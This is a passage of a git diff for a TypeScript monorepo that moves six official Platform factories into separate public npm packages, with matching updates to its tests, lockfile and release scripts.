import path from 'node:path'; import { fileURLToPath } from 'node:url'; import { afterEach, describe, expect, it } from 'vitest'; import type { BuildResult } from '@tokenroll/acplugin'; -import { codex } from '@tokenroll/acplugin'; -import { PLATFORM_ID } from '@tokenroll/acplugin/platforms/codex'; +import codex, { PLATFORM_ID } from '@tokenroll/acplugin-platform-codex'; /** 跨包契约测试读取源码边界时使用的仓库根目录。 */ const repositoryRoot = fileURLToPath(new URL('../../..', import.meta.url)); @@ -14,6 +13,9 @@ const repositoryRoot = fileURLToPath(new URL('../../..', import.meta.url)); /** 配置和生命周期共用品牌实例的主包真实构建入口。 */ const acpluginEntry = path.join(repositoryRoot, 'packages/acplugin/dist/index.mjs'); +/** 配置文件直接加载的 Codex Platform 真实构建入口。 */ +const codexEntry = path.join(repositoryRoot, 'packages/platforms/codex/dist/index.mjs'); + /** 当前测试创建并在 afterEach 中删除的临时工程。 */ const temporaryRoots: string[] = []; @@ -92,8 +94,8 @@ afterEach(async () => { }); describe('Codex public Platform integration', () => { - it('re-exports the private Platform factory with typed interface and Marketplace policy', () => { - /** 通过正式公开主包创建的 Codex Platform。 */ + it('exports an independent Platform factory with typed interface and Marketplace policy', () => { + /** 通过独立公开 package 创建的 Codex Platform。 */ const platform = codex({ strict: false, interface: { @@ -127,7 +129,7 @@ describe('Codex public Platform integration', () => { }); it('keeps Hooks and MCP implementation packages outside the Platform dependency boundary', async () => { - /** Codex 私有 Platform 的完整源码文本。 */ + /** Codex 公开 Platform 的完整源码文本。 */ const source = await platformSources(path.join(repositoryRoot, 'packages/platforms/codex/src')); expect(source).not.toContain('@tokenroll/acplugin-extension-hooks'); @@ -152,7 +154,7 @@ description: Show deployment status. Show deployment status. `); await fs.writeFile(path.join(root, 'acplugin.config.ts'), ` -import { codex } from ${JSON.stringify(acpluginEntry)}; +import codex from ${JSON.stringify(codexEntry)}; export default { name: 'codex-arguments', version: '1.0.0', diff --git a/packages/test/test/ecosystem-contract.test.ts b/packages/test/test/ecosystem-contract.test.ts index 4ca783e..6c23384 100644 --- a/packages/test/test/ecosystem-contract.test.ts +++ b/packages/test/test/ecosystem-contract.test.ts @@ -203,7 +203,7 @@ const resolved = resolveConfig({ public: false, platforms: [platform], extensions: [extension], -}, ${JSON.stringify(path.join(root, 'acplugin.config.ts'))}, 'validate', 'production', { defaultPlatforms: [platform] }); +}, ${JSON.stringify(path.join(root, 'acplugin.config.ts'))}, 'validate', 'production'); if (!resolved.config) throw new Error('Fixture config did not resolve.'); const result = await executeLifecycle({ diff --git a/packages/test/test/extension-api.types.ts b/packages/test/test/extension-api.types.ts index 7ad91ce..fd51427 100644 --- a/packages/test/test/extension-api.types.ts +++ b/packages/test/test/extension-api.types.ts @@ -4,6 +4,7 @@ import { defineConfig, type AcpluginExtension, } from '@tokenroll/acplugin'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; /** * 验证两个公开 Extension 的声明只依赖主包正式生态类型。 @@ -13,11 +14,12 @@ export function verifyExtensionDeclarationTypes(): void { const hooksExtension: AcpluginExtension = hooks({ include: ['format'] }); /** MCP 工厂返回的品牌化公开 Extension。 */ const mcpExtension: AcpluginExtension = mcp({ include: ['docs'] }); - /** 消费者只安装三个公开包时能够解析的最终配置。 */ + /** 消费者显式安装 Platform 和两个 Extension 时能够解析的最终配置。 */ const config = defineConfig({ name: 'extension-declaration-consumer', version: '1.0.0', description: 'Verify public Extension declarations.', + platforms: [claudeCode()], extensions: [hooksExtension, mcpExtension], }); diff --git a/packages/test/test/init.test.ts b/packages/test/test/init.test.ts index 99b72e3..ae5f237 100644 --- a/packages/test/test/init.test.ts +++ b/packages/test/test/init.test.ts @@ -23,12 +23,19 @@ describe('init', () => { expect(result.directory).toBe('demo-plugin'); expect(result.platforms).toEqual(['claude-code', 'codex']); expect(result.extensions).toEqual([]); - expect(await fs.readFile(path.join(cwd, 'demo-plugin/acplugin.config.ts'), 'utf8')) - .toContain('platforms: [claudeCode(), codex()]'); + /** 默认配置通过两个独立 Platform package 的显式默认导入构建。 */ + const config = await fs.readFile(path.join(cwd, 'demo-plugin/acplugin.config.ts'), 'utf8'); + expect(config).toContain(`import claudeCode from '@tokenroll/acplugin-platform-claude-code';`); + expect(config).toContain(`import codex from '@tokenroll/acplugin-platform-codex';`); + expect(config).toContain('platforms: [claudeCode(), codex()]'); expect(await fs.readFile(path.join(cwd, 'demo-plugin/src/skills/demo-plugin/SKILL.md'), 'utf8')).toContain('description:'); expect(JSON.parse(await fs.readFile(path.join(cwd, 'demo-plugin/package.json'), 'utf8'))).toMatchObject({ engines: { node: '^20.19.0 || ^22.13.0 || >=23.5.0' }, - devDependencies: { typescript: '^7.0.2' }, + devDependencies: { + '@tokenroll/acplugin-platform-claude-code': '^1.0.0', + '@tokenroll/acplugin-platform-codex': '^1.0.0', + 'typescript': '^7.0.2', + }, }); }); @@ -61,6 +68,7 @@ describe('init', () => { expect(result.platforms).toEqual(['claude-code', 'codex', 'cursor', 'antigravity', 'opencode', 'pi']); expect(config).toContain('claudeCode(), codex(), cursor(), antigravity(), openCode(), pi()'); + expect(config).toContain(`import pi from '@tokenroll/acplugin-platform-pi';`); }); it('refuses a non-empty destination', async () => { diff --git a/packages/test/test/package-boundaries.test.ts b/packages/test/test/package-boundaries.test.ts index 1487b06..55a7219 100644 --- a/packages/test/test/package-boundaries.test.ts +++ b/packages/test/test/package-boundaries.test.ts @@ -6,7 +6,7 @@ import { describe, expect, it } from 'vitest'; /** 包边界测试读取构建产物和清单时使用的仓库根目录。 */ const root = fileURLToPath(new URL('../../..', import.meta.url)); -/** 六个稳定 Platform 子路径及其唯一公开工厂名。 */ +/** 六个独立 Platform package 目录及其公开工厂名。 */ const platformEntries = [ ['claude-code', 'claudeCode'], ['codex', 'codex'], @@ -16,9 +16,10 @@ const platformEntries = [ ['pi', 'pi'], ] as const; -/** 三个正式公开包的清单路径。 */ +/** 九个正式公开包的清单路径。 */ const publicManifests = [ 'packages/acplugin/package.json', + ...platformEntries.map(([id]) => `packages/platforms/${id}/package.json`), 'packages/extensions/hooks/package.json', 'packages/extensions/mcp/package.json', ] as const; @@ -91,25 +92,33 @@ describe('published package boundaries', () => { expect(bundler).toMatch(/^\s*import\s.*from\s+["']rolldown["']/m); }); - it('keeps each Platform subpath limited to its public factory contract', async () => { - /** id 与 factory 表示当前检查的 Platform 子路径及其唯一工厂导出。 */ + it('keeps each independent Platform package limited to its public factory contract', async () => { + /** id 与 factory 表示当前检查的 Platform package 及其具名工厂导出。 */ for (const [id, factory] of platformEntries) { - /** 从真实构建文件加载的 Platform 子路径运行时命名空间。 */ - const module = await import(pathToFileURL(path.join(root, `packages/acplugin/dist/platforms/${id}.mjs`)).href); - expect(Object.keys(module).sort()).toEqual(['PLATFORM_API_VERSION', 'PLATFORM_ID', factory].sort()); - /** 当前子路径生成的独立声明入口。 */ - const declaration = await fs.readFile(path.join(root, `packages/acplugin/dist/platforms/${id}.d.mts`), 'utf8'); + /** 从独立 package 真实构建文件加载的运行时命名空间。 */ + const module = await import(pathToFileURL(path.join(root, `packages/platforms/${id}/dist/index.mjs`)).href); + expect(Object.keys(module).sort()).toEqual(['PLATFORM_API_VERSION', 'PLATFORM_ID', 'default', factory].sort()); + expect(module.default).toBe(module[factory]); + /** 当前独立 package 生成的声明入口。 */ + const declaration = await fs.readFile(path.join(root, `packages/platforms/${id}/dist/index.d.mts`), 'utf8'); + expect(declaration).toContain('from "@tokenroll/acplugin"'); + expect(declaration).not.toContain('@acplugin/'); expect(declaration).not.toMatch(/\b(?:Compiler|Serializer|Validator|Registry|executeLifecycle|buildProject)\b/); } }); - it('externalizes the public main package from both Extension declarations and runtimes', async () => { - /** extension 表示当前检查的正式 Extension 包目录名。 */ - for (const extension of ['hooks', 'mcp']) { - /** 当前 Extension 的 ESM 与声明入口源码。 */ + it('externalizes the public main package from all Platform and Extension packages', async () => { + /** integration 表示当前检查的正式生态包目录。 */ + const integrations = [ + ...platformEntries.map(([id]) => `platforms/${id}`), + 'extensions/hooks', + 'extensions/mcp', + ]; + for (const integration of integrations) { + /** 当前生态包的 ESM 与声明入口源码。 */ const files = [ - path.join(root, `packages/extensions/${extension}/dist/index.mjs`), - path.join(root, `packages/extensions/${extension}/dist/index.d.mts`), + path.join(root, `packages/${integration}/dist/index.mjs`), + path.join(root, `packages/${integration}/dist/index.d.mts`), ]; /** 两个入口共同构成的包边界文本。 */ const source = await joinedSources(files); @@ -118,7 +127,7 @@ describe('published package boundaries', () => { } }); - it('publishes only the fixed three-package cohort and a Node 20 ESM CLI', async () => { + it('publishes only the nine independent packages and a Node 20 ESM CLI', async () => { /** Workspace 中所有 package.json 路径。 */ const manifests = await filesWithSuffixes(path.join(root, 'packages'), ['package.json']); /** 未声明 private 的实际公开包名称。 */ @@ -132,10 +141,16 @@ describe('published package boundaries', () => { } expect(publicNames.sort()).toEqual([ '@tokenroll/acplugin', + ...platformEntries.map(([id]) => `@tokenroll/acplugin-platform-${id}`), '@tokenroll/acplugin-extension-hooks', '@tokenroll/acplugin-extension-mcp', ].sort()); - expect(publicManifests).toHaveLength(3); + expect(publicManifests).toHaveLength(9); + + /** 主包不得再声明或生成官方 Platform subpath。 */ + const mainManifest = JSON.parse(await fs.readFile(path.join(root, 'packages/acplugin/package.json'), 'utf8')) as { exports: Record }; + expect(Object.keys(mainManifest.exports)).toEqual(['.']); + await expect(fs.access(path.join(root, 'packages/acplugin/dist/platforms'))).rejects.toThrow(); /** 主包生成并由 package.json bin 指向的 CLI 文件。 */ const cliPath = path.join(root, 'packages/acplugin/dist/cli.mjs'); diff --git a/packages/test/test/public-api.types.ts b/packages/test/test/public-api.types.ts index 81e46dc..6970f39 100644 --- a/packages/test/test/public-api.types.ts +++ b/packages/test/test/public-api.types.ts @@ -1,25 +1,20 @@ import { - antigravity, - BUILTIN_PLATFORM_IDS, - claudeCode, - codex, - cursor, defineConfig, definePlatform, - openCode, - pi, - type BuiltinPlatformId, type PlatformId, } from '@tokenroll/acplugin'; -import { PLATFORM_ID as CODEX_PLATFORM_ID } from '@tokenroll/acplugin/platforms/codex'; +import antigravity from '@tokenroll/acplugin-platform-antigravity'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; +import codex, { PLATFORM_ID as CODEX_PLATFORM_ID } from '@tokenroll/acplugin-platform-codex'; +import cursor from '@tokenroll/acplugin-platform-cursor'; +import openCode from '@tokenroll/acplugin-platform-opencode'; +import pi from '@tokenroll/acplugin-platform-pi'; /** - * 验证主包只需通过精选导出即可支持内置联合类型和开放第三方 Platform。 + * 验证主包只提供开放 SDK,官方 Platform 则通过独立 package 参与同一品牌契约。 */ export function verifyPublicPlatformTypes(): void { - /** 主包维护的六个平台组成封闭联合类型。 */ - const builtin: BuiltinPlatformId = BUILTIN_PLATFORM_IDS[0]; - /** 第三方平台通过工厂获得不受内置联合限制的开放品牌。 */ + /** 第三方平台通过主包公开工厂获得开放品牌。 */ const community: PlatformId = definePlatform({ id: 'community-platform', apiVersion: '1', @@ -29,9 +24,7 @@ export function verifyPublicPlatformTypes(): void { /** generateBundle 提供当前对象协议要求的回调实现。 */ generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] }), /** validateBundle 提供当前对象协议要求的回调实现。 */ validateBundle: () => undefined, }).id; - // @ts-expect-error 第三方 ID 不会被误纳入官方内置联合类型。 - const unsupportedBuiltin: BuiltinPlatformId = 'community-platform'; - /** 六个官方工厂各自接受由所属 Platform 包约束的配置。 */ + /** 六个官方 package 各自约束自己的工厂选项。 */ const official = [ claudeCode({ defaultEnabled: false, marketplace: { owner: { name: 'TokenRoll' } } }), codex({ interface: { category: 'Productivity' } }), @@ -40,7 +33,7 @@ export function verifyPublicPlatformTypes(): void { openCode({ workspace: { schema: true } }), pi({ package: { image: './assets/cover.png' } }), ]; - /** 最终配置使用 Platform/Extension 数组且保持顶层 metadata。 */ + /** 最终配置使用显式 Platform/Extension 数组且保持顶层 metadata。 */ const config = defineConfig({ name: 'typed-config', version: '1.0.0', @@ -48,14 +41,14 @@ export function verifyPublicPlatformTypes(): void { platforms: official, extensions: [], }); - /** 子路径稳定导出与主入口工厂使用同一 Platform ID。 */ + /** 独立 Codex package 暴露稳定 Platform ID。 */ const codexId: 'codex' = CODEX_PLATFORM_ID; // @ts-expect-error Antigravity 不接受属于 Marketplace Platform 的配置字段。 antigravity({ marketplace: {} }); // @ts-expect-error Cursor 1.0 没有经过验证的 Marketplace Distribution 配置。 cursor({ marketplace: {} }); // @ts-expect-error 最终配置不再接受旧 targets 字段。 - defineConfig({ name: 'legacy', version: '1.0.0', description: 'Legacy.', targets: ['codex'] }); + defineConfig({ name: 'legacy', version: '1.0.0', description: 'Legacy.', platforms: official, targets: ['codex'] }); - void [builtin, community, unsupportedBuiltin, official, config, codexId]; + void [community, official, config, codexId]; } diff --git a/packages/test/test/repository.test.ts b/packages/test/test/repository.test.ts index c6528d1..7b11696 100644 --- a/packages/test/test/repository.test.ts +++ b/packages/test/test/repository.test.ts @@ -17,33 +17,44 @@ async function read(relativePath: string): Promise { } describe('repository release and documentation guards', () => { - it('keeps the public packages in one manually publishable cohort', async () => { - /** 手动发布 Cohort 中三个公开包的清单路径。 */ + it('keeps nine independently versioned packages manually publishable', async () => { + /** 九个公开包的清单路径。 */ const packageFiles = [ 'packages/acplugin/package.json', + 'packages/platforms/claude-code/package.json', + 'packages/platforms/codex/package.json', + 'packages/platforms/cursor/package.json', + 'packages/platforms/antigravity/package.json', + 'packages/platforms/opencode/package.json', + 'packages/platforms/pi/package.json', 'packages/extensions/hooks/package.json', 'packages/extensions/mcp/package.json', ]; - /** 三个公开包解析后的发布字段。 */ + /** 九个公开包解析后的发布字段。 */ const manifests = await Promise.all(packageFiles.map(async file => JSON.parse(await read(file)) as { name: string; version: string; private?: boolean; publishConfig?: { access?: string; provenance?: boolean }; })); - /** Changesets 中声明的固定版本发布组。 */ + /** Changesets 不再声明固定版本发布组。 */ const changeset = JSON.parse(await read('.changeset/config.json')) as { fixed: string[][] }; - expect(new Set(manifests.map(manifest => manifest.version)).size).toBe(1); expect(manifests.map(manifest => manifest.name)).toEqual([ '@tokenroll/acplugin', + '@tokenroll/acplugin-platform-claude-code', + '@tokenroll/acplugin-platform-codex', + '@tokenroll/acplugin-platform-cursor', + '@tokenroll/acplugin-platform-antigravity', + '@tokenroll/acplugin-platform-opencode', + '@tokenroll/acplugin-platform-pi', '@tokenroll/acplugin-extension-hooks', '@tokenroll/acplugin-extension-mcp', ]); expect(manifests.every(manifest => manifest.private !== true)).toBe(true); expect(manifests.every(manifest => manifest.publishConfig?.access === 'public')).toBe(true); expect(manifests.every(manifest => manifest.publishConfig?.provenance === undefined)).toBe(true); - expect(changeset.fixed).toContainEqual(expect.arrayContaining(manifests.map(manifest => manifest.name))); + expect(changeset.fixed).toEqual([]); }); it('does not expose an automated publication path', async () => { @@ -94,21 +105,27 @@ describe('repository release and documentation guards', () => { }); it('separates the repository Node toolchain from published runtime support', async () => { - /** 根工具链和三个公开包的精确清单路径。 */ + /** 根工具链和九个公开包的精确清单路径。 */ const files = [ 'package.json', 'packages/acplugin/package.json', + 'packages/platforms/claude-code/package.json', + 'packages/platforms/codex/package.json', + 'packages/platforms/cursor/package.json', + 'packages/platforms/antigravity/package.json', + 'packages/platforms/opencode/package.json', + 'packages/platforms/pi/package.json', 'packages/extensions/hooks/package.json', 'packages/extensions/mcp/package.json', ]; /** 当前根与公开 manifest 的 engine/dependency 边界。 */ - const [repository, main, hooks, mcp] = await Promise.all(files.map(async file => JSON.parse(await read(file)) as { + const [repository, main, ...integrations] = await Promise.all(files.map(async file => JSON.parse(await read(file)) as { engines?: { node?: string }; dependencies?: Record; })); expect(repository.engines?.node).toBe('^22.18.0 || >=24.11.0'); - for (const manifest of [main, hooks, mcp]) + for (const manifest of [main, ...integrations]) expect(manifest.engines?.node).toBe('^20.19.0 || ^22.13.0 || >=23.5.0'); expect(main.dependencies?.commander).toBe('14.0.1'); }); diff --git a/packages/test/test/secondary-platforms.test.ts b/packages/test/test/secondary-platforms.test.ts index 03e1a52..1f4b0ea 100644 --- a/packages/test/test/secondary-platforms.test.ts +++ b/packages/test/test/secondary-platforms.test.ts @@ -12,6 +12,14 @@ const repositoryRoot = fileURLToPath(new URL('../../..', import.meta.url)); /** 配置文件直接导入的主包真实构建产物。 */ const acpluginEntry = path.join(repositoryRoot, 'packages/acplugin/dist/index.mjs'); +/** 四个次级官方 Platform 的真实独立构建入口。 */ +const platformEntries = { + antigravity: path.join(repositoryRoot, 'packages/platforms/antigravity/dist/index.mjs'), + cursor: path.join(repositoryRoot, 'packages/platforms/cursor/dist/index.mjs'), + opencode: path.join(repositoryRoot, 'packages/platforms/opencode/dist/index.mjs'), + pi: path.join(repositoryRoot, 'packages/platforms/pi/dist/index.mjs'), +} as const; + /** 临时包代理加载的 Hooks Extension 真实构建产物。 */ const hooksEntry = path.join(repositoryRoot, 'packages/extensions/hooks/dist/index.mjs'); @@ -185,7 +193,10 @@ process.stdin.on('data', (chunk) => { `); await fs.writeFile(path.join(root, 'public/assets/readme.txt'), 'Public asset.\n'); await fs.writeFile(path.join(root, 'acplugin.config.ts'), ` -import { antigravity, cursor, openCode, pi } from ${JSON.stringify(acpluginEntry)}; +import antigravity from ${JSON.stringify(platformEntries.antigravity)}; +import cursor from ${JSON.stringify(platformEntries.cursor)}; +import openCode from ${JSON.stringify(platformEntries.opencode)}; +import pi from ${JSON.stringify(platformEntries.pi)}; import hooks from '@tokenroll/acplugin-extension-hooks'; import mcp from '@tokenroll/acplugin-extension-mcp'; export default { diff --git a/packages/test/test/workspace-layout.test.ts b/packages/test/test/workspace-layout.test.ts index 7cf3185..ce18a62 100644 --- a/packages/test/test/workspace-layout.test.ts +++ b/packages/test/test/workspace-layout.test.ts @@ -6,19 +6,20 @@ import { describe, expect, it } from 'vitest'; /** Workspace 边界测试读取的仓库绝对根目录。 */ const root = fileURLToPath(new URL('../../..', import.meta.url)); -/** 六个内置 Platform 的目录名与私有包名。 */ +/** 六个官方 Platform 的目录名与公开包名。 */ const platformPackages = [ - ['claude-code', '@acplugin/platform-claude-code'], - ['codex', '@acplugin/platform-codex'], - ['cursor', '@acplugin/platform-cursor'], - ['antigravity', '@acplugin/platform-antigravity'], - ['opencode', '@acplugin/platform-opencode'], - ['pi', '@acplugin/platform-pi'], + ['claude-code', '@tokenroll/acplugin-platform-claude-code'], + ['codex', '@tokenroll/acplugin-platform-codex'], + ['cursor', '@tokenroll/acplugin-platform-cursor'], + ['antigravity', '@tokenroll/acplugin-platform-antigravity'], + ['opencode', '@tokenroll/acplugin-platform-opencode'], + ['pi', '@tokenroll/acplugin-platform-pi'], ] as const; -/** 正式发布版本组包含的三个公开包清单路径。 */ +/** 九个独立版本的正式公开包清单路径。 */ const publicPackageFiles = [ 'packages/acplugin/package.json', + ...platformPackages.map(([directory]) => `packages/platforms/${directory}/package.json`), 'packages/extensions/hooks/package.json', 'packages/extensions/mcp/package.json', ] as const; @@ -46,28 +47,29 @@ async function readJson(relativePath: string): Promise { } describe('final workspace skeleton', () => { - it('declares every built-in Platform as an independent private package', async () => { + it('declares every official Platform as an independent public peer package', async () => { /** 六个 Platform 实际读取到的包清单。 */ const manifests = await Promise.all(platformPackages.map(async ([directory]) => readJson(`packages/platforms/${directory}/package.json`))); expect(manifests.map(manifest => manifest.name)).toEqual(platformPackages.map(([, name]) => name)); - expect(manifests.every(manifest => manifest.private === true)).toBe(true); - expect(manifests.every(manifest => manifest.version === '0.0.0')).toBe(true); - expect(manifests.every(manifest => manifest.dependencies?.['@acplugin/core'] === 'workspace:*')).toBe(true); + expect(manifests.every(manifest => manifest.private !== true)).toBe(true); + expect(manifests.every(manifest => manifest.version === '1.0.0')).toBe(true); + expect(manifests.every(manifest => manifest.peerDependencies?.['@tokenroll/acplugin'] === 'workspace:^')).toBe(true); + expect(manifests.every(manifest => manifest.dependencies?.['@acplugin/core'] === undefined)).toBe(true); }); - it('keeps exactly the intended public release cohort on one version', async () => { - /** 主包和两个 Extension 的公开清单。 */ + it('keeps exactly nine public packages with no private runtime dependency', async () => { + /** 主包、六个 Platform 和两个 Extension 的公开清单。 */ const manifests = await Promise.all(publicPackageFiles.map(async file => readJson(file))); - /** 三个公开包的预期正式名称。 */ + /** 九个公开包的预期正式名称。 */ const expectedNames = [ '@tokenroll/acplugin', + ...platformPackages.map(([, name]) => name), '@tokenroll/acplugin-extension-hooks', '@tokenroll/acplugin-extension-mcp', ]; expect(manifests.map(manifest => manifest.name)).toEqual(expectedNames); - expect(new Set(manifests.map(manifest => manifest.version))).toEqual(new Set(['1.0.0'])); expect(manifests.every(manifest => manifest.private !== true)).toBe(true); for (const manifest of manifests) { /** 公开运行时依赖中可能泄漏的私有包名。 */ @@ -81,7 +83,7 @@ describe('final workspace skeleton', () => { it('uses nested pnpm workspace patterns and TypeScript 7 for source packages', async () => { /** pnpm workspace 与 catalog 配置原文。 */ const workspace = await fs.readFile(path.join(root, 'pnpm-workspace.yaml'), 'utf8'); - /** 所有新源码包的 package.json 路径。 */ + /** 所有生态源码包的 package.json 路径。 */ const sourcePackageFiles = [ ...platformPackages.map(([directory]) => `packages/platforms/${directory}/package.json`), 'packages/extensions/hooks/package.json', diff --git a/packages/test/vitest.config.ts b/packages/test/vitest.config.ts index 75976e2..87474b9 100644 --- a/packages/test/vitest.config.ts +++ b/packages/test/vitest.config.ts @@ -19,9 +19,13 @@ export default defineConfig({ resolve: { alias: { '@acplugin/core': workspaceSource('../core/src/index.ts'), - '@tokenroll/acplugin/platforms/claude-code': workspaceSource('../acplugin/src/platforms/claude-code.ts'), - '@tokenroll/acplugin/platforms/codex': workspaceSource('../acplugin/src/platforms/codex.ts'), '@tokenroll/acplugin': workspaceSource('../acplugin/src/index.ts'), + '@tokenroll/acplugin-platform-antigravity': workspaceSource('../platforms/antigravity/src/index.ts'), + '@tokenroll/acplugin-platform-claude-code': workspaceSource('../platforms/claude-code/src/index.ts'), + '@tokenroll/acplugin-platform-codex': workspaceSource('../platforms/codex/src/index.ts'), + '@tokenroll/acplugin-platform-cursor': workspaceSource('../platforms/cursor/src/index.ts'), + '@tokenroll/acplugin-platform-opencode': workspaceSource('../platforms/opencode/src/index.ts'), + '@tokenroll/acplugin-platform-pi': workspaceSource('../platforms/pi/src/index.ts'), '@tokenroll/acplugin-extension-mcp': workspaceSource('../extensions/mcp/src/index.ts'), }, }, diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index a26f5b1..850ed89 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -41,6 +41,9 @@ importers: '@tokenroll/acplugin-extension-mcp': specifier: workspace:^ version: link:packages/extensions/mcp + '@tokenroll/acplugin-platform-claude-code': + specifier: workspace:^ + version: link:packages/platforms/claude-code '@types/node': specifier: 'catalog:' version: 20.19.43 @@ -114,24 +117,6 @@ importers: '@acplugin/core': specifier: workspace:* version: link:../core - '@acplugin/platform-antigravity': - specifier: workspace:* - version: link:../platforms/antigravity - '@acplugin/platform-claude-code': - specifier: workspace:* - version: link:../platforms/claude-code - '@acplugin/platform-codex': - specifier: workspace:* - version: link:../platforms/codex - '@acplugin/platform-cursor': - specifier: workspace:* - version: link:../platforms/cursor - '@acplugin/platform-opencode': - specifier: workspace:* - version: link:../platforms/opencode - '@acplugin/platform-pi': - specifier: workspace:* - version: link:../platforms/pi '@types/node': specifier: 'catalog:' version: 20.19.43 @@ -227,11 +212,13 @@ importers: version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) packages/platforms/antigravity: - dependencies: + devDependencies: '@acplugin/core': specifier: workspace:* version: link:../../core - devDependencies: + '@tokenroll/acplugin': + specifier: workspace:^ + version: link:../../acplugin '@types/node': specifier: 'catalog:' version: 20.19.43 @@ -246,11 +233,13 @@ importers: version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) packages/platforms/claude-code: - dependencies: + devDependencies: '@acplugin/core': specifier: workspace:* version: link:../../core - devDependencies: + '@tokenroll/acplugin': + specifier: workspace:^ + version: link:../../acplugin '@types/node': specifier: 'catalog:' version: 20.19.43 @@ -266,9 +255,6 @@ importers: packages/platforms/codex: dependencies: - '@acplugin/core': - specifier: workspace:* - version: link:../../core image-size: specifier: ^2.0.2 version: 2.0.2 @@ -279,6 +265,12 @@ importers: specifier: ^2.9.0 version: 2.9.0 devDependencies: + '@acplugin/core': + specifier: workspace:* + version: link:../../core + '@tokenroll/acplugin': + specifier: workspace:^ + version: link:../../acplugin '@types/node': specifier: 'catalog:' version: 20.19.43 @@ -293,11 +285,13 @@ importers: version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) packages/platforms/cursor: - dependencies: + devDependencies: '@acplugin/core': specifier: workspace:* version: link:../../core - devDependencies: + '@tokenroll/acplugin': + specifier: workspace:^ + version: link:../../acplugin '@types/node': specifier: 'catalog:' version: 20.19.43 @@ -312,11 +306,13 @@ importers: version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) packages/platforms/opencode: - dependencies: + devDependencies: '@acplugin/core': specifier: workspace:* version: link:../../core - devDependencies: + '@tokenroll/acplugin': + specifier: workspace:^ + version: link:../../acplugin '@types/node': specifier: 'catalog:' version: 20.19.43 @@ -331,11 +327,13 @@ importers: version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) packages/platforms/pi: - dependencies: + devDependencies: '@acplugin/core': specifier: workspace:* version: link:../../core - devDependencies: + '@tokenroll/acplugin': + specifier: workspace:^ + version: link:../../acplugin '@types/node': specifier: 'catalog:' version: 20.19.43 @@ -363,6 +361,24 @@ importers: '@tokenroll/acplugin-extension-mcp': specifier: workspace:* version: link:../extensions/mcp + '@tokenroll/acplugin-platform-antigravity': + specifier: workspace:* + version: link:../platforms/antigravity + '@tokenroll/acplugin-platform-claude-code': + specifier: workspace:* + version: link:../platforms/claude-code + '@tokenroll/acplugin-platform-codex': + specifier: workspace:* + version: link:../platforms/codex + '@tokenroll/acplugin-platform-cursor': + specifier: workspace:* + version: link:../platforms/cursor + '@tokenroll/acplugin-platform-opencode': + specifier: workspace:* + version: link:../platforms/opencode + '@tokenroll/acplugin-platform-pi': + specifier: workspace:* + version: link:../platforms/pi devDependencies: '@types/node': specifier: 'catalog:' diff --git a/scripts/comment-coverage.json b/scripts/comment-coverage.json index c424ad7..7a162fa 100644 --- a/scripts/comment-coverage.json +++ b/scripts/comment-coverage.json @@ -11,12 +11,6 @@ "packages/acplugin/src/migration/legacy/types.ts", "packages/acplugin/src/migration/legacy/utils/frontmatter.ts", "packages/acplugin/src/migration/legacy/utils/fs.ts", - "packages/acplugin/src/platforms/antigravity.ts", - "packages/acplugin/src/platforms/claude-code.ts", - "packages/acplugin/src/platforms/codex.ts", - "packages/acplugin/src/platforms/cursor.ts", - "packages/acplugin/src/platforms/opencode.ts", - "packages/acplugin/src/platforms/pi.ts", "packages/acplugin/src/project-config.ts", "packages/acplugin/src/run-project.ts", "packages/acplugin/test/config-loader.test.ts", @@ -76,6 +70,7 @@ "packages/platforms/claude-code/src/validator.ts", "packages/platforms/claude-code/test/platform.test.ts", "packages/platforms/claude-code/tsdown.config.ts", + "packages/platforms/claude-code/vitest.config.ts", "packages/platforms/codex/src/index.ts", "packages/platforms/codex/src/types.ts", "packages/platforms/codex/src/protocol.ts", @@ -84,6 +79,7 @@ "packages/platforms/codex/src/validator.ts", "packages/platforms/codex/test/platform.test.ts", "packages/platforms/codex/tsdown.config.ts", + "packages/platforms/codex/vitest.config.ts", "packages/platforms/cursor/src/index.ts", "packages/platforms/cursor/src/components.ts", "packages/platforms/cursor/src/manifest.ts", @@ -91,12 +87,14 @@ "packages/platforms/cursor/src/validator.ts", "packages/platforms/cursor/test/platform.test.ts", "packages/platforms/cursor/tsdown.config.ts", + "packages/platforms/cursor/vitest.config.ts", "packages/platforms/antigravity/src/index.ts", "packages/platforms/antigravity/src/components.ts", "packages/platforms/antigravity/src/manifest.ts", "packages/platforms/antigravity/src/validator.ts", "packages/platforms/antigravity/test/platform.test.ts", "packages/platforms/antigravity/tsdown.config.ts", + "packages/platforms/antigravity/vitest.config.ts", "packages/platforms/opencode/src/index.ts", "packages/platforms/opencode/src/components.ts", "packages/platforms/opencode/src/config-document.ts", @@ -104,6 +102,7 @@ "packages/platforms/opencode/src/validator.ts", "packages/platforms/opencode/test/platform.test.ts", "packages/platforms/opencode/tsdown.config.ts", + "packages/platforms/opencode/vitest.config.ts", "packages/platforms/pi/src/index.ts", "packages/platforms/pi/src/components.ts", "packages/platforms/pi/src/manifest.ts", @@ -111,6 +110,7 @@ "packages/platforms/pi/src/validator.ts", "packages/platforms/pi/test/platform.test.ts", "packages/platforms/pi/tsdown.config.ts", + "packages/platforms/pi/vitest.config.ts", "packages/extensions/hooks/src/adapters.ts", "packages/extensions/hooks/src/bundler.ts", "packages/extensions/hooks/src/constants.ts", diff --git a/scripts/verify-release.mjs b/scripts/verify-release.mjs index c1b739e..0fb78ee 100644 --- a/scripts/verify-release.mjs +++ b/scripts/verify-release.mjs @@ -11,22 +11,24 @@ import { publint } from 'publint'; /** 当前 monorepo 根目录。 */ const root = path.resolve(fileURLToPath(new URL('..', import.meta.url))); -/** 必须以统一版本手动发布并共同验证的公开包。 */ +/** 同一 revision 中独立版本化并共同验证的全部公开包。 */ const packages = [ { name: '@tokenroll/acplugin' }, + { name: 